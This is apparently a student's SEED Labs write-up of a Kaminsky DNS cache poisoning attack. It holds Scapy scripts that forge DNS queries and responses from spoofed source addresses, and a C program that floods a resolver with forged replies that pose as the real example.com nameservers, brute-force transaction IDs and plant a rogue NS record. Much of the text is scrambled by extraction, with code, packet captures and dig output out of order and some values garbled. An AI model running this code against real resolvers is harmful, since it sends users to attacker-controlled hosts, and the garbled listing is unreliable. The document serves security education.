```
Task 1
```

```
2.4.1 Testing the DNS environment
```

‰oot@8f61466e44bd:/# dig ns.attacker32.com

```
<<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
      ;; global options: +cmd
      ;; Got answer:
       ; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61632
      ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
      ;; OPT PSEUDOSECTION:
      ; EDNS: version: 0, flags:; udp: 4096
       COOKIE: d3753dbf70c1aac90100000068eb63393ee4f709291925bf (good)
      ;; QUESTION SECTION:
      ns.attacker32.com.
      ;; ANSWER SECTION:
      ns.attacker32.com.
                          259200 IN A
                                                10.9.0.153
      ;; Query time: 48 msec
      ;; SERVER: 10.9.0.53#53(10.9.0.53)
      ;; WHEN: Sun Oct 12 08:13:45 UTC 2025
      ;; MSG SIZE rcvd: 90
     root@8f61466e44bd:/#
  • We see that the request is first sent to IP address 10.9.0.53, which is the local DNS server, then forwarded to
     the Attacker's Name Server at 10.9.0.153
2.4.2 Testing with example.com
```

• The Attacker's Name Server then gives us the IP address of ns.attacker32.com which is 10.9.0.153

 Official name server root@8f61466e44bd:/# dig www.example.com

## ;; global options: +cmd :: Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18745 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION:

<>>> DiG 9.16.1-Ubuntu <<>> www.example.com

```
EDNS: version: 0, flags:; udp: 4096
         COOKIE: 2925ab5b490501d40100000068eb66302c5a5de936b2b7cd (good)
         ;; QUESTION SECTION:
         www.example.com.
         :: ANSWER SECTION:
          ww.example.com.
                              300 IN CNAME www.example.com-v4.edgesuite
         www.example.com-v4.edgesuite.net. 21600 IN CNAME a1422.dscr.akamai.net.
         a1422.dscr.akamai.net. 20 IN A 42.99.140.192
a1422.dscr.akamai.net. 20 IN A 42.99.140.137
          Query time: 1680 msec
          SERVER: 10.9.0.53#53(10.9.0.53)
           WHEN: Sun Oct 12 08:26:24 UTC 2025
          : MSG SIZE rcvd: 185
     • We see that the request is first sent to the local DNS server at 10.9.0.53, then forward to the official name
        server, which returns us 2 IP addresses for example.com, 42.99.140.137 and 42.99.140.192. Its usual for
        a domain to have multiple IP addresses for load balancing and redundancy.

    Attacker name server

         root@8f61466e44bd:~# dig @ns.attacker32.com www.example.com
          <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
          (1 server found)
         ;; global options: +cmd
          Got answer:
           ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45987
           flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
```

OPT PSEUDOSECTION: EDNS: version: 0, flags:; udp: 4096 COOKIE: 2957896cc26420750100000068eb696723637b15f3c60976 (good) :: OUESTION SECTION: www.example.com. :: ANSWER SECTION: ww.example.com. 259200 IN A ; Query time: 0 msec SERVER: 10.9.0.153#53(10.9.0.153)

```
WHEN: Sun Oct 12 08:40:07 UTC 2025
     MSG SIZE rcvd: 88
O root@8f61466e44bd:~#
• We now see that the IP address we get for the same domain is now different, 1.2.3.5.
• The request is sent specifically to the Attacker's Name Server at ns.attacker32.com and since we cached it
   earlier, we contact its IP address directly, 10.9.0.153.
   root@8373d53967da:/# cat /etc/bind/zone_example.com
               SOA ns.example.com. admin.example.com. (
               2008111001
               2H
               4W
               1D)
                    ns.attacker32.com.
                    1.2.3.4
        IN
                    1.2.3.5
         IN
                    10.9.0.153
                   1.2.3.6
    oot@8373d53967da:/#
• We see that in the attacker's zone file for example.com, the A record for www.example.com points to
```

1.2.3.5. • This is the same as what we got from the dig command above, so we know the DNS environment is set up correctly. Task 2 Construct DNS requests • We are asked to create a python script that can construct and send DNS requests to the local DNS server at

```
10.9.0.53.
• Since we are running this script from the user container, ip address 10.9.0.5, we will spoof the source IP
  address to be 10.9.0.1 which is the ip of the host VM.
• for dport we use 53 since that is the port used for DNS requests.
• for sport we can use any random short port.
We use the construct_dns_req.py code below:
      from scapy.all import *
```

## Qdsec = DNSQR(qname='example.com') # DNS Question Record, asking for example.com $dns = DNS(id=0 \times AAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)$ ip = IP(dst= local\_dns\_ip , src= spoof\_vm\_ip) # IP layer, set destination to local dns server and

<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>

spoof\_vm\_ip = '10.9.0.1' #spoofed ip

import random

199.43.135.53

199.43.135.53

10.9.0.53

10.9.0.53

→ a.icann-servers.net: type A, class IN Name: a.icann-servers.net

;; global options: +cmd

;; OPT PSEUDOSECTION:

;; QUESTION SECTION:

;; ANSWER SECTION:

;; ADDITIONAL SECTION:

a.iana-servers.net.

b.iana-servers.net.

domain = 'example.com'

name = 'www.example.com'

#send spoofed responses

for ipns in ns\_ip\_addrs:

reply = ip/udp/dns

<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>

■ 🔏 ⑧ 🛅 🖺 🕅 🧗 🭳 🔇 🔪 🐎 ⊢ → 🜉 🔙 🕀 🭳 🚇 🏗

send(reply)

199.43.135.53

code above.

Qdsec = DNSQR(qname=name)

;example.com.

example.com.

example.com.

; EDNS: version: 0, flags:; udp: 4096

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31535

;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 5

; COOKIE: 17ffab0475c4a8960100000068eb9b95bb4b230f8e5bc939 (good)

NS

NS

NS

b.iana-servers.net.

a.iana-servers.net.

199.43.135.53

199.43.133.53

ΙN

ΙN

ΙN

85661 IN

85661 IN

ns attacker = 'ns.attacker32.com' # attacker name server

Anssec = DNSRR(rrname=name, type='A', rdata="1.2.3.5", ttl=259200)

NSsec = DNSRR(rrname=domain, type='NS', rdata=ns\_attacker, ttl=259200)

port = RandShort() # random source port

ip = IP(dst=local\_dns\_ip, src=ipns)

• When we run the python code above, we see this in wireshark:

Task 4 Launching the Kaminsky Attack

store them in ip\_req.bin and ip\_resp.bin files respectively.

provided since python is too slow to carry out this attack.

from scapy.all import \*

# Save the packet to a file

# Spoofed DNS reply

reply = ip/udp/dns

template from ip\_resp.bin.

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

#include <unistd.h>

#define MAX\_FILE\_SIZE 1000000

#include <time.h>

/\* IP Header \*/

unsigned char

struct ipheader {

#include <arpa/inet.h>

• The C code is as below:

Qdsec = DNSQR(qname=name)

with open('ip\_req.bin', 'wb') as f:

qd=Qdsec, an=Anssec, ns=NSsec)

with open('ip\_resp.bin', 'wb') as f:

f.write(bytes(reply))

ip = IP(dst=local\_dns\_ip, src=ns\_ip\_addrs[0])

udp = UDP(dport=333333, sport=53, chksum=0)

Anssec = DNSRR(rrname=name, type='A', rdata="1.2.3.5", ttl=259200)

section, which is at offset +40 and +61 respectively from the start of the IP packet.

iph\_ihl:4, //IP header length

iph\_ver:4; //IP version

// Generate a random name with length 5

memcpy(ip\_req+41, name , 5);

send\_dns\_request(ip\_req, n\_req);

for (int k=0; k<5; k++) name[k] = a[rand() % 26];

// Modify the name in the question field (offset=41)

This will trigger the DNS server to send out DNS queries \*/

/\* Step 1. Send a DNS request to the targeted local DNS server.

char name[5];

NSsec = DNSRR(rrname=domain, type='NS', rdata=ns\_attacker, ttl=259200)

 $dns = DNS(id=0 \times AAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0,$ 

• Then in the C code, we will load the request packet template from <code>ip\_req.bin</code>, and the spoofed response packet

• For each response, we will change 3 values, transaction ID (+28 offset from start of IP packet), and the prefix

name, prefix.example.com. The prefix name occurs in 2 places, in the question section and in the answer

f.write(bytes(request))

import random

148 2025-10-12 14:0...

udp = UDP(dport=33333, sport=53, chksum=0)

1061

1061

;; Got answer:

[Name Length: 19]

```
udp = UDP(dport=53, sport=RandShort(), chksum=0) # UDP layer, set destination port to 53 (dns poi
      request = ip/udp/dns
     send(request)
• When we run the python code above, we see this in wireshark:
```

local\_dns\_ip = '10.9.0.53' # ip of local dns server, this is not the attacker dns server

```
₩ 🗆 🕶 🗘
                   Destination
                                        Protocol Length Time
Source
  10.9.0.53
                    10.9.0.1
                                                  167 2025-10-12 12:0...
                                                                           130 Standard query response 0xaaaa A example.com A 23.220.75.232 A 23...
                                                                           131 Standard query response 0x6bb2 AAAA b.icann-servers.net NS ns.ica...
  192.33.14.30
                   10.9.0.53
                                                  441 2025-10-12 12:0...
  192.33.14.30
                   10.9.0.53
                                        DNS 441 2025-10-12 12:0...
                                                                           132 Standard query response 0xa228 A c.icann-servers.net NS ns.icann....
 10.9.0.53
                   199.43.135.53
                                                  102 2025-10-12 12:0...
                                                                           133 Standard query 0xd3fa AAAA b.icann-servers.net OPT
                                                  195 2025-10-12 12:0...
                                                  102 2025-10-12 12:0...
 10.9.0.53
                    199.43.135.53
                                                                           135 Standard query 0x3ebc A c.icann-servers.net OPT
 192.33.14.30
                   10.9.0.53
                                                  441 2025-10-12 12:0...
                                                                           136 Standard query response 0x0a95 AAAA c.icann-servers.net NS ns.ica...
                                                  102 2025-10-12 12:0...
  10.9.0.53
                   199.43.135.53
                                        DNS
                                                                           137 Standard query 0x7335 AAAA c.icann-servers.net OPT
  199.4.138.53
                    10.9.0.53
                                        DNS
                                                  521 2025-10-12 12:0...
                                                                           138 Standard query response 0x2ea1 AAAA ns.icann.org AAAA 2001:500:89...
  199.43.133.53
                                                  529 2025-10-12 12:0...
                   10.9.0.53
                                        DNS
                                                                           145 Standard query response 0x2200 A a.iana-servers.net A 199.43.135...
  199.43.133.53
                   10.9.0.53
                                                  541 2025-10-12 12:0...
                                                                           146 Standard query response 0x519c AAAA a.iana-servers.net AAAA 2001:...
  199.43.133.53
                                        DNS
                                                  541 2025-10-12 12:0...
                                                                           147 Standard query response 0xb533 AAAA b.iana-servers.net AAAA 2001:...
                   10.9.0.53
  199.43.135.53
                   10.9.0.53
                                        DNS
                                                  219 2025-10-12 12:0...
                                                                           150 Standard query response 0x1e60 A b.icann-servers.net A 199.43.133...
  199.43.135.53
                                                  231 2025-10-12 12:0...
                   10.9.0.53
                                        DNS
                                                                           151 Standard query response 0xc660 AAAA a.icann-servers.net AAAA 2001...
  199.43.135.53
                   10.9.0.53
                                                  231 2025-10-12 12:0...
                                                                           153 Standard query response 0xd3fa AAAA b.icann-servers.net AAAA 2001...
```

219 2025-10-12 12:0...

231 2025-10-12 12:0...

[SEED Labs] \*br-8ae841b815d0

154 Standard query response 0x3ebc A c.icann-servers.net A 199.43.134...

155 Standard query response 0x7335 AAAA c.icann-servers.net AAAA 2001...

```
[Label Count: 3]
           Type: A (Host Address) (1)
           Class: IN (0x0001)
           Name: a.icann-servers.net
           Type: A (Host Address) (1)
 • We see that the DNS request is sent from the spoofed ip address, the host VM at 10.9.0.1, to the local DNS
    server at 10.9.0.53, then the local DNS server will do a recursive query starting with the TLD server, .com in our
    case, the the authoritative name server for example.com, which we can see from our wireshark capture is
    a.iana-servers.net at 199.43.133.53 and b.iana-servers.net at 199.43.135.53.

    We can also see that the response from the authoritative name server also contains the many IP addresses for

     example.com, we will enumerate them later.
Task 3 Spoofing DNS responses
 • The first step is to find out all the IP address of the name servers of example.com.

    We can do this by running dig NS example.com

        root@8f61466e44bd:~# dig NS example.com
        ; <<>> DiG 9.16.1-Ubuntu <<>> NS example.com
```

a.iana-servers.net. 1061 ΙN 2001:500:8f::53 AAAA b.iana-servers.net. 1061 AAAA 2001:500:8d::53 ;; Query time: 0 msec ;; SERVER: 10.9.0.53#53(10.9.0.53) ;; WHEN: Sun Oct 12 12:14:13 UTC 2025 ;; MSG SIZE rcvd: 204 • We see that the authoritative name servers for example.com are a.iana-servers.net , IP address 199.43.135.53 and b.iana-servers.net IP address 199.43.133.53. • Now that we know the IP addresses of the authoritative name servers, we can proceed to spoof DNS responses. • similar to task 2, we use 53 for dport when sending the IP address, and for sport when spoofing the response, since that is the port used for DNS requests. • We use the spoof\_dns\_resp.py code below: from scapy.all import \*

local\_dns\_ip = '10.9.0.53' # ip of local dns server, this is not the attacker dns server

ns ip addrs = ['199.43.135.53', '199.43.133.53'] # ip addresses of authoritative name servers for

 $dns = DNS(id=0 \times AAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec,$ 

[SEED Labs] Capturing from br-8ae841b815d0

3 Standard query response 0xaaaa A www.example.com A 1.2.3.5 NS ns.attacker32.com

```
→ Queries
            Name: www.example.com
           Type: A (Host Address) (1)
           Class: IN (0x0001)
           Time to live: 259200 (3 days)
           Data length: 4
      ▼ Authoritative nameservers
        example.com: type NS, class IN, ns ns.attacker32.com
         00 86 00 01 00 00 40 11 23 c8 c7 2b 85 35 0a 09
         00 35 00 35 82 35 00 72 00 00 aa aa 85 00 00 01 ·5·5·5·r · · ·
         00 01 00 01 00 00 03 77 77 77 07 65 78 61 6d 70
         6c 65 03 63 6f 6d 00 00 01 00 01 03 77 77 77 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 00 01 00 01
         65 78 61 6d 70 6c 65 03 63 6f 6d 00 00 01 00 01 00 03 64 80 00 04 01 02 03 05 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 00 02 00 01 00 03 f4 80 00
         13 02 6e 73 0a 61 74 74 61 63 6b 65 72 33 32 03 • ns att acker32
    Text item (text), 31 bytes
                                                                                                        Packets: 4 · Displayed: 2 (50.0%)
• We see that in wireshark, the spoofed DNS response is sent from the ip addresses of the legitimate authoritative
   name servers, 199.43.135.53 and 199.43.133.53 to our local DNS server at 10.9.0.53 as per our code
   above, though it is replying to no one.
• We also see that the response announces that the authoritative name server for example.com is
    ns.attacker32.com which is our attacker's name server, as per the NS record in our code above.
• The response also contains an A record for www.example.com which points to 1.2.3.5 as per the A record in our
```

• We will combine the code from task 2 and task 3 to launch the Kaminsky attack, together with the C code

• We will first use the python script an scapy to generate a DNS packet template, then store it in a file, then load this

template into the C program, make some changes to the fields then send the packets out as fast as possible.

• We use this dns\_temaplate.py code below to generate the DNS request and spoofed response packets, then

```
spoof_vm_ip = '10.9.0.1' #spoofed ip
local_dns_ip = '10.9.0.53' # ip of local dns server, this is not the attacker dns server
ns_ip_addrs = ['199.43.135.53', '199.43.133.53'] # ip addresses of authoritative name servers for
domain = 'example.com'
name = 'aaaaa.example.com'
ns_attacker = 'ns.attacker32.com' # attacker name server
port = RandShort() # random source port
# DNS query
Qdsec = DNSQR(qname=name) # DNS Question Record, asking for example.com
dns = DNS(id=0 \times AAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(dst= local_dns_ip , src= spoof_vm_ip) # IP layer, set destination to local dns server and
udp = UDP(dport=53, sport=333333, chksum=0) # UDP layer, set destination port to 53 (dns port) and
request = ip/udp/dns
send(request)
```

```
iph_tos; //Type of service
unsigned char
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
                    iph_offset:13; //Flags offset
                   iph_ttl; //Time to Live
unsigned char
unsigned char
                   iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr
                 iph_sourceip; //Source IP address
                   iph_destip; //Destination IP address
struct in_addr
};
void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request( );
void send_dns_response( );
int main()
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
    perror("Can't open 'ip_req.bin'");
    exit(1);
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
    perror("Can't open 'ip_resp.bin'");
    exit(1);
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
while (1) {
```

```
/* Step 2. Send many spoofed responses to the targeted local DNS server,
                   each one with a different transaction ID. */
           // Modify the name in the question field (offset=41)
           memcpy(ip_resp+41, name, 5);
           // Modify the name in the answer field (offset=64)
           memcpy(ip_resp+64, name , 5);
           send_dns_response(ip_resp, n_resp);
           /* Use for sending DNS request.
       * Add arguments to the function definition if needed.
       void send_dns_request(unsigned char *packet, int pkt_size)
       printf("Sending spoofed query!\n");
       send_raw_packet(packet, pkt_size);
      /* Use for sending forged DNS response.
       * Add arguments to the function definition if needed.
       * */
       void send_dns_response(unsigned char *packet, int pkt_size)
       char ns[15] = "199.43.133.53";
       char ns2[15] = "199.43.135.53";
       for (unsigned short id = 0; id < 65535; id++) {
           // Modify the transaction ID field (offset=28)
           unsigned short id_net_order = htons(id);
           memcpy(packet+28, &id_net_order, 2);
           // Copy IP address (offset=12)
           int ip_address = (int) inet_addr(ns);
           memcpy(packet+12, (void *) &ip_address, 4);
           send_raw_packet(packet, pkt_size);
           // Copy IP address (offset=12)
           int ip_address2 = (int) inet_addr(ns2);
           memcpy(packet+12, (void *) &ip_address2, 4);
           send_raw_packet(packet, pkt_size);
       /* Send the raw packet out
            buffer: to contain the entire IP packet, with everything filled out.
            pkt_size: the size of the buffer.
       * */
       void send_raw_packet(char * buffer, int pkt_size)
       struct sockaddr_in dest_info;
       int enable = 1;
       // Step 1: Create a raw network socket.
       int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
       // Step 2: Set socket option.
       setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
           &enable, sizeof(enable));
       // Step 3: Provide needed information about destination.
       struct ipheader *ip = (struct ipheader *) buffer;
       dest_info.sin_family = AF_INET;
       dest_info.sin_addr = ip->iph_destip;
       // Step 4: Send the packet out.
       sendto(sock, buffer, pkt_size, 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
       close(sock);
 • We compile the C code above using gcc -o kaminsky kaminsky.c and run it using ./kaminsky in the user
    container 10.9.0.5
 • Then we check the cache of the local DNS server at 10.9.0.53 using rndc dumpdb -cache && grep attacker
    /var/cache/bind/dump.db as per the instructions.
    root@ffc20e3db19c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
                             615536 \-AAAA ;-$NXRRSET
               -32.com.
              r32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419
    200 86400
                                               ns.attacker32.com.
    example.com.
                              777535 NS
                 r32.com [<u>v</u>4 TTL 1736] [v6 TTL 10736] [v4 success] [v6 nxrrset]
    root@ffc20e3db19c:/#

    We see that the attack is successful since the local DNS server's cache states that the name server for

    example.com is now ns.attacker32.com, which is the attacker's name server.
Task 5 Verifying the attack
 • We run the command dig www.example.com and dig @ns.attacker32.com www.example.com
    root@8f61466e44bd:~# dig www.example.com
```

## SERVER: 10.9.0.53#53(10.9.0.53) ;; WHEN: Sun Oct 12 14:45:38 UTC 2025 ;; MSG SIZE rcvd: 88

;; global options: +cmd

;; OPT PSEUDOSECTION:

;; QUESTION SECTION:

;www.example.com.

;; ANSWER SECTION:

;; Query time: 3 msec

www.example.com.

;; Got answer:

<>>> DiG 9.16.1-Ubuntu <<>> www.example.com

EDNS: version: 0, flags:; udp: 4096

confirms that the Kaminsky attack was successful.

98 2025-10-12 14:3...

159 2025-10-12 14:3...

159 2025-10-12 14:3...

<u>F</u>ile <u>E</u>dit <u>V</u>iew <u>G</u>o <u>C</u>apture <u>A</u>nalyze <u>S</u>tatistics Telephon<u>y</u> <u>W</u>ireless <u>T</u>ools <u>H</u>elp

10.9.0.53

10.9.0.5

<sup>⊥</sup> 10.9.0.153

10.9.0.53

->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22762

258219 IN

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

COOKIE: 121ed8106b7f5b020100000068ebbf12c0982b6343546f18 (good)

IN

Α

Α

1.2.3.5

```
root@8f61466e44bd:~# dig @ns.attacker32.com www.example.com
   <>>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
    (1 server found)
  ;; global options: +cmd
  ;; Got answer:
    ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59723
  ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  ;; OPT PSEUDOSECTION:
   EDNS: version: 0, flags:; udp: 4096
   COOKIE: 3992b5db856235080100000068ebbf1c58afced59973bdb6 (good)
  ;; QUESTION SECTION:
  ;www.example.com.
                                   IN
                                           Α
  ;; ANSWER SECTION:
  www.example.com.
                           259200 IN
                                           Α
                                                   1.2.3.5
  ;; Query time: 7 msec
    SERVER: 10.9.0.153#53(10.9.0.153)
  ;; WHEN: Sun Oct 12 14:45:48 UTC 2025
   ; MSG SIZE rcvd: 88

    we see that the outputs are the same for both, indicating that the attack was successful.
```

• Then when we run dig NS example.com and sniff the packets using wireshark, we see that the local DNS server,

10.9.0.53 now queries the attacker's name server, 10.9.0.153 for the name server of www.example.com. This

[SEED Labs] \*br-8ae841b815d0

1 Standard query 0x7ab6 NS www.example.com OPT

3 Standard query response 0x677b NS www.example.com SOA ns.example.com OPT

```
Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 1
  ▼ Queries
    ▼ www.example.com: type NS, class IN
        Name: www.example.com
        [Name Length: 15]
        [Label Count: 3]
        Type: NS (authoritative Name Server) (2)
        Class: IN (0x0001)
  ▶ Additional records
    [Response In: 3]
0000 22 fe 27 72 af 30 62 80 b9 c1 a2 9a 08 00 45 00
0010 00 64 a8 ef 00 00 40 11 bc ba 0a 09 00 35 0a 09
      00 99 82 35 00 35 00 50 15 41 67 7b 00 10 00 01
                                                        ...5.5.P .Ag{....
      00 00 00 00 00 01 03 77 77 77 07 65 78 61 6d 70
                                                       ····w ww·examp
     6c 65 03 63 6f 6d 00 00 02 00 01 00
                                                       le·com·····
0060
0070
```